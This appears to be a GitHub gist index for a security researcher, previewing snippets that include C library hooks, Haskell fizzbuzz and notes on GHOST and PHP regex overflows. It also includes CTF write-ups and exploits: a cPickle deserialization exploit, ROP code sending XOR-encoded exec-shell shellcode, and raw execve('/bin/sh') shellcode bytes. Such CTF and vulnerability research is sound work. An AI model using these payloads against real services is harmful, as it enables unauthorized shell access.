Skip to content

Instantly share code, notes, and snippets.

@inaz2
inaz2 / hook.c
Created August 21, 2014 08:03
ライブラリ関数のhook
/*
compile:
$ gcc -shared -fPIC -o hook.so hook.c -ldl
*/
#define _GNU_SOURCE
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
@inaz2
inaz2 / gist:7fa449859a35e15b2a8b
Last active August 29, 2015 14:06
case of ad redirection from expired domain
$ curl -v -L -A "Mozilla/5.0" http://www.unoh.net/
* STATE: INIT => CONNECT handle 0x60002d130; line 998 (connection #-5000)
* About to connect() to www.unoh.net port 80 (#0)
* Trying 109.201.133.191...
* Adding handle: conn: 0x600069370
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* 0x60002d130 is at send pipe head!
* - Conn 0 (0x600069370) send_pipe: 1, recv_pipe: 0
import cPickle
import subprocess
import base64
import socket
s = socket.create_connection(('localhost', 5000))
class Exploit(object):
def __reduce__(self):
fd = s.fileno()
@inaz2
inaz2 / fizzbuzz.hs
Last active August 29, 2015 14:14
Haskell fizzbuzz for Python programmers
import Control.Monad
main =
forM_ [1..100] $ \x -> do
if x `mod` 15 == 0 then
putStrLn "fizzbuzz"
else if x `mod` 5 == 0 then
putStrLn "buzz"
else if x `mod` 3 == 0 then
putStrLn "fizz"
@inaz2
inaz2 / env.txt
Last active August 29, 2015 14:15
WordPress pingback + GHOST vulnerability
# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04.5 LTS
Release: 12.04
Codename: precise
# /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu EGLIBC 2.15-0ubuntu10.6) stable release version 2.15, by Roland McGrath et al.
Copyright (C) 2012 Free Software Foundation, Inc.
@inaz2
inaz2 / env.txt
Last active August 29, 2015 14:15
crash in PHP 5 ereg() function / Full disclosure: heap overflow in H. Spencer’s regex library on 32 bit systems https://guidovranken.wordpress.com/2015/02/04/full-disclosure-heap-overflow-in-h-spencers-regex-library-on-32-bit-systems/
$ uname -a
Linux vm-ubuntu32 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
@inaz2
inaz2 / oh_my_scanf.py
Last active August 29, 2015 14:15
writeup of Advent Calendar CTF 2014 oh_my_scanf http://adctf2014.katsudon.org/
from roputils import *
p = Proc('./oh_my_scanf')
#p = Proc(host='pwnable.katsudon.org', port=32100)
sc = Shellcode('i386')
buf = 'A' * 28
buf += p32(0x80483e0) # push esp; ret
buf += sc.xor(sc.exec_shell(), '\t\n\v\f\r ') # elliminate white-space characters for scanf("%s") attack
@inaz2
inaz2 / result.txt
Last active August 29, 2015 14:16
a minimum test of uninitialized pointer use (CWE-824)
$ uname -a
Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
@inaz2
inaz2 / exploit.py
Last active August 29, 2015 14:27
セキュリティ・キャンプ2015 出張 CTF for ビギナーズ 川柳 (Pwn 300) write-up / https://github.com/rekkusu/seccamp2015ctf
import struct
import socket
from telnetlib import Telnet
senryu1 = '\x8d\x48\x19\x31\xdb'
senryu2 = '\x6a\x7f\x5a\x6a\x03\x58\x90'
senryu3 = '\xcd\x80\xff\xe1\x90'
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'
@inaz2
inaz2 / megrepper.html
Last active August 30, 2015 07:31
目grep in the browser (HTML5 Canvas + File API)
<!DOCTYPE html>
<html>
<meta charset="UTF-8">
<title>megrepper</title>
<body>
<canvas id="canvas"></canvas>
<div style="position: fixed; left: 160px; display: inline-block;">
<h1>megrepper</h1>
<pre id="edit" style="width: 40em; margin: 0; background-color: #eeeeee">Drag &amp; drop a file on page</pre>
</div>